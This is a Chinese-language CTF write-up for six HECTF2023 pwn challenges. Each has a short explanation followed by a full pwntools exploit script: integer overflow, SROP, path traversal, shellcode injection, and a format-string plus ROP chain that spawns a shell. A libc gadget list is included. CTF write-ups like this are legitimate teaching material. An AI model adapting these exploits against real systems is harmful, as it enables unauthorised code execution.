HECTF2023 - Pwn - WriteUp

# HECTF2023 - Pwn - 题解

# 得分情况总览


共解出 = 6 / 8 =
一血:EZtext easyweb - 风水小狮 -
二血:signin(100% 是因为先秒的 EZtext,导致这个能够更快秒掉的题被别人秒了)
三血:fmt(奇葩脑洞,第一次见这么奇葩的思路)
༼ つ ◕_◕ ༽つ堆题是真的不会做

# WriteUp - 正文

# signin


直接打开 IDA,可以知道我们的目标是让输入的 v4 在小于 3 的同时要让低位的四字节的数值等于 B,也就是 0x42.
于是就类似于整数溢出的思想,直接送入 0xffffffffff00000042 就行了
但是这里读入用的是 scanf,所以必须以字符串或者 bytes 的形式输入数字,化为十进制就是 - 4294967230
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './signin'
p=remote('106.15.206.42',31834)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(pwn)
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# payload=p64(0xffffffff00000042)
payload=b'-4294967230'
p.sendline(payload)
p.interactive()

这题直接秒了,但是我先做的 eztext 那题,所以就手速慢了,没有拿到一血。或许先做这题,一血就拿到了。

# eztext

打开 IDA 一眼扫过去直接用 SROP。模板题,具体原理不再详说。


用模板做题半分钟写好 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './eztext'
p=remote('106.15.206.42',32228)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(pwn)
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
syscall=0x401127
sigreturn= p64(0x401139)+p64(syscall) # sigreturn = p64(pop_rdi)+p64(0xf)+p64(0x401136)+p64(syscall)
sh=0x404050
frame = SigreturnFrame()
# 实现execve的系统调用
# 需要存储在伪造的栈地址位置
frame.rax = 59
frame.rdi = sh
frame.rsi=0
frame.rdx = 0
frame.rcx = 0
frame.rbp = 0x403f00
frame.rsp = sh+8
frame.rip = syscall
stack_frame = b"/bin/sh\x00"+sigreturn+bytes(frame)

# 实现read的系统调用
# 读取包括bin字符串和伪造的栈数据
frame = SigreturnFrame()
frame.rdi = constants.SYS_read
frame.rsi = sh
frame.rdx = 0x100
frame.rbp = 0x403f00
frame.rsp = 0x404000
frame.rcx = len(stack_frame)
frame.rip = syscall
frame.rsp = sh+8 # 设置栈顶指针位置
pad = cyclic(0x10)
pad += sigreturn + bytes(frame)

# 先发送实现read系统调用的pad
p.send(pad)
# read读取stack_frame
# 然后ret到伪造的栈上执行execve系统调用
pause()
p.send(stack_frame)
p.interactive()

# micro_httpd



通过简单的读题我们可以看到这里的逻辑就是输入一个 "get"+filepath+"hectf" 并且 filepath 能够通过过滤,那么就能够顺利读取文件。
但是我们如果仅仅通过构造 filepath 来让他通过过滤条件,这显然是很困难的。所以我们只能另寻他法。
注意到 main 函数第 49,50 行的 while 循环。我一开始以为这里是 IDA 反汇编识别错误了,但是后来就被狠狠地打脸了。
可以看到这里传入的三个参数分别是 v7, 0x2000LL, stdin,这里的 v7 指向的是栈里面地址低于 filepath 的地方,而且距离正好是 0x2000.
这时候我们就希望这里面读入的能够覆盖到至少 filepath 前两个字节,那么就能够轻轻松松通过过滤读到文件了。

通过读源代码发现这里的漏洞就是在 i=-1 那里。0x2000-(-0x2)=0x2002,因此我们正好可以覆盖到 filepath 前两个字节。所以我们就可以修改 filepath 前两个字节为 “/.”,而且刚开始输入的就是 “/a./flag”,经过替换之后就是 "/../flag"
于是我们就名正言顺地拿到 flag 了
注:这里调试的话需要设置参数表。因为 main 函数前面会对参数表进行检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

# pwn = ''
# p=remote('101.132.112.252',32672)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process(argv=['/home/akyoi/cac/HECTF/https/www/pwn','/home/akyoi/cac/HECTF/https/www/'])
gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# payload=b'get '+b'/+../'+b' hectf'
header=b'get'

path=b'/a./flag'

arg_name=b'hectf'
payload=header+b' '+path+b' '+arg_name
p.sendline(payload)
pause()
payload=b"a"*0x2000+b'/.'
p.sendline(payload)
pause()
p.sendline("")
p.interactive()

# magic

拿到题目直接 checksec 之后发现不对劲

扔进 IDA 里面发现这里实现了栈上开辟空间并且修改或者调用函数的功能。


经过漫长的读代码之后意识到只能进行三次操作,其中肯定有一次选项 3,那么剩下两次毋庸置疑就是一次选项 1 和 2。因此,我们的思路就是先 1,再 2,最后 3,读入 shellcode 到栈里面并且执行。
注意到这里我们为了能够顺利通过 call rax;来运行 shellcode,我们需要采用低位覆盖的方法把 v10 的最低一个字节修改(因为这里原本指向的地址和 shellcode 开始的位置的 offset 并不是很大),使 v10 指向 shellcode 开头的位置。但是这里按理来说有 1/256 的概率成功,但是我只用了一次就 get 到了 shell,感觉还是挺幸运的!
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './magic'
p=remote('101.133.164.228',32026)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./magic')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
shellcode=asm(shellcraft.sh())
p.sendline(b"1")
pause()
p.sendline(b"100")
pause()
p.sendline(b"2")
pause()
p.sendline(b'2000')
pause()
payload=b'\x00'*0x70+shellcode.ljust(0x50,b'\x00')+b'\x10'
p.sendline(payload)
pause()
p.sendline(b"3")
p.interactive()

# fmt

读了题目都知道是格式化字符串漏洞了,但是正常情况下只能使用一次,这显然是无法让我们拿到 shell 的。
刚开始往格式化字符串泄露 canary 然后构造 ROP 的办法来想的,但是意识到第一步获得了 canary 又能干什么呢?啥都干不了,就 exit 了。所以我们不能这么平庸地看问题。
考虑到绕过 Canary,不如与其正面硬刚,直接让 Canary 失效。
众所周知,如果程序检测到 Canary 被更改了,那么就会在函数结束的时候调用__stk_chk_fail 这个函数,然后就退出了。但是我们正是可以利用这一点,用格式化字符串更改__stk_chk_fail 的 got 表地址为 main 函数地址,那么就可以构造较长的 payload 来修改 Canary 从而可以无限次调用 main 函数,也是可以通过较短的 payload 不修改 Canary 来达到不接着调用函数直接 ret 的效果。
既然可以控制 main 函数的执行了,那么我们也就可以控制格式化字符串漏洞的利用了。
于是我们这样利用漏洞:
1. 第一次格式化字符串漏洞:修改__stk_chk_fail 函数的 got 表地址为 main 函数地址。
2. 第二次格式化字符串漏洞:获取栈上面__libc_start_main+128 的地址。
3. 第三次格式化字符串漏洞:构建并且输入 ROP,但是这里 payload 的长度肯定会覆盖 Canary,因此我们这里一定会进入下一层 main 函数,但是在下一层 main 函数我们随便传一个短短的字符串就行了,就可以不修改 Canary 从而达到退出执行上一层 main 函数输入的 ROP 的效果。

这里输入用的是 scanf,遇到 0d 会截断,亲测 system 似乎打不通(我只试了本地,远程不知道),反正都有 libc 基址了,啥 gedgets 就都有了,而且 ROP 空间充足那么我们倒不如直接调用成功率更大的 execve

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './fmt'
p=remote('101.132.112.252',31803)
# p=process(['./libc.so.6', pwn], env={"LD_PRELOAD":'./ld-linux-x86-64.so.2'})
# p=process('./fmt')
# gdb.attach(p)
elf=ELF(pwn)
libc=ELF('./libc.so.6')
payload="a"
offset=8
canary_offset=65
puts_got=0x403360
payload=fmtstr_payload(8,{puts_got:0x0000000000401217}).ljust(0x1d8,b'\x00')
p.sendline(payload)
# pause()
payload1="%149$p"
p.sendline(payload1.ljust(0x1d0-7,'\x01'))
# pause()
p.recvuntil(b'0x')
base=int(p.recv(12),16)

print(base)
base-=128
base-=libc.sym['__libc_start_main']
sys_addr=base+libc.sym['execve']
exitf=base+libc.sym['exit']
sh=base+next(libc.search(b'/bin/sh'))
pop_rdi=base+0x2a3e5
pop_rsi=base+0x2be51
payload=b'a'*0x1d8+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(sys_addr)+p64(pop_rdi)+p64(0)+p64(exitf)

p.sendline(payload)
p.sendline("fuckyou")
p.interactive()

# 0x000000000011df5c : pop r11 ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x000000000002a73e : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3de : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4c : pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000044d41 : pop r12 ; pop r13 ; pop rbp ; ret
# 0x0000000000041c48 : pop r12 ; pop r13 ; ret
# 0x000000000011b958 : pop r12 ; pop r14 ; ret
# 0x0000000000133d1f : pop r12 ; pop rbp ; ret
# 0x0000000000035731 : pop r12 ; ret
# 0x000000000002a740 : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e0 : pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4e : pop r13 ; pop r14 ; ret
# 0x0000000000044d43 : pop r13 ; pop rbp ; ret
# 0x0000000000041c4a : pop r13 ; ret
# 0x000000000002a742 : pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e2 : pop r14 ; pop r15 ; ret
# 0x000000000002be50 : pop r14 ; ret
# 0x000000000002a744 : pop r15 ; pop rbp ; ret
# 0x000000000002a3e4 : pop r15 ; ret
# 0x0000000000147d18 : pop rax ; pop rbx ; pop rbp ; ret
# 0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
# 0x0000000000045eb0 : pop rax ; ret
# 0x00000000000719aa : pop rax ; ret 0xffff
# 0x000000000002a3dd : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000041c47 : pop rbp ; pop r12 ; pop r13 ; ret
# 0x0000000000035730 : pop rbp ; pop r12 ; ret
# 0x000000000013cfae : pop rbp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002a741 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e1 : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000002be4f : pop rbp ; pop r14 ; ret
# 0x0000000000044d44 : pop rbp ; pop rbp ; ret
# 0x0000000000054618 : pop rbp ; pop rbx ; ret
# 0x000000000002a2e0 : pop rbp ; ret
# 0x0000000000044d40 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
# 0x00000000000910c0 : pop rbx ; pop r12 ; pop r13 ; ret
# 0x0000000000053813 : pop rbx ; pop r12 ; ret
# 0x0000000000040487 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000041c46 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
# 0x0000000000035850 : pop rbx ; pop rbp ; pop r12 ; ret
# 0x000000000013cfad : pop rbx ; pop rbp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000112cd8 : pop rbx ; pop rbp ; pop r14 ; ret
# 0x000000000002a2df : pop rbx ; pop rbp ; ret
# 0x0000000000035dd1 : pop rbx ; ret
# 0x000000000011f450 : pop rcx ; pop rbp ; pop r12 ; pop r13 ; ret
# 0x0000000000126ae0 : pop rcx ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
# 0x0000000000108b04 : pop rcx ; pop rbx ; ret
# 0x000000000012cbb3 : pop rcx ; ret 0xe
# 0x000000000011f1a7 : pop rcx ; ret 0xf66
# 0x000000000013fac1 : pop rcx ; ret 9
# 0x000000000002a745 : pop rdi ; pop rbp ; ret
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000011f4d7 : pop rdx ; pop r12 ; ret
# 0x00000000000904a9 : pop rdx ; pop rbx ; ret
# 0x0000000000108b03 : pop rdx ; pop rcx ; pop rbx ; ret
# 0x00000000000796a2 : pop rdx ; ret
# 0x000000000002a743 : pop rsi ; pop r15 ; pop rbp ; ret
# 0x000000000002a3e3 : pop rsi ; pop r15 ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000002a73f : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
# 0x000000000002a3df : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000002be4d : pop rsp ; pop r13 ; pop r14 ; ret
# 0x0000000000044d42 : pop rsp ; pop r13 ; pop rbp ; ret
# 0x0000000000041c49 : pop rsp ; pop r13 ; ret
# 0x000000000011b959 : pop rsp ; pop r14 ; ret
# 0x0000000000133d20 : pop rsp ; pop rbp ; ret
# 0x0000000000035732 : pop rsp ; ret

# 风水小狮

蒟蒻也想成为风水大狮。



IDA 中发现没啥意思,简单直接写 EXP。
发现 while (1) 中循环一个 fun2 () and fun3 (),而且 fun2 可以被我们利用来运行 system ("/bin/sh"),还可以输入一堆东西,而且 strlen 的绕过只要在输入的东西前面加个 \x00 就可以了。
fun3 我们只要不输入 exit 就可以了。
这里多送入几对'system','/bin/sh' 这样它通过 system 的检测的概率就大亿点。
但是这里我们要内存对齐,所以开始的 \x00 就送入了 8 个。
多运行了几次直接秒杀!一血!FirstBlood!
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './xiaoshi'
p=remote('101.133.164.228',30683)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./xiaoshi')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
payload=b'\x00'*8+b'system\x00\x00/bin/sh\x00'*15
p.sendline(payload)

p.interactive()

# 我不是风水大狮,但是蒟蒻也想当风水大狮。

༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ
༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ
༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ
༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ༼ つ ◕_◕ ༽つ